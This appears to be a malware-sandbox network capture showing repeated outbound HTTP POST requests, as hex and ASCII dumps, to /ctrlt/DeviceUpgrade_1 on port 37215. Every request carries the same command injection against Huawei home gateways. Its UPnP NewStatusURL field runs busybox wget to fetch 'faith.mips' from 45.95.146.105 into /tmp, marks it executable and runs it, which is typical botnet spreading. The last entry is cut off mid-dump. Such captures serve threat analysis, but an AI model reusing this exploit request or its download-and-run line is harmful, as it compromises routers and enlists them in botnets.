Dec 30, 2023 07:13:58.280842066 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:14:00.136584044 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:14:03.948059082 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:14:11.371028900 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:14:26.212984085 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:14:56.416758060 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.23	34874	154.38.240.187	37215

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2023 07:13:57.856834888 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:14:01.896346092 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:14:08.039486885 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:14:20.069989920 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 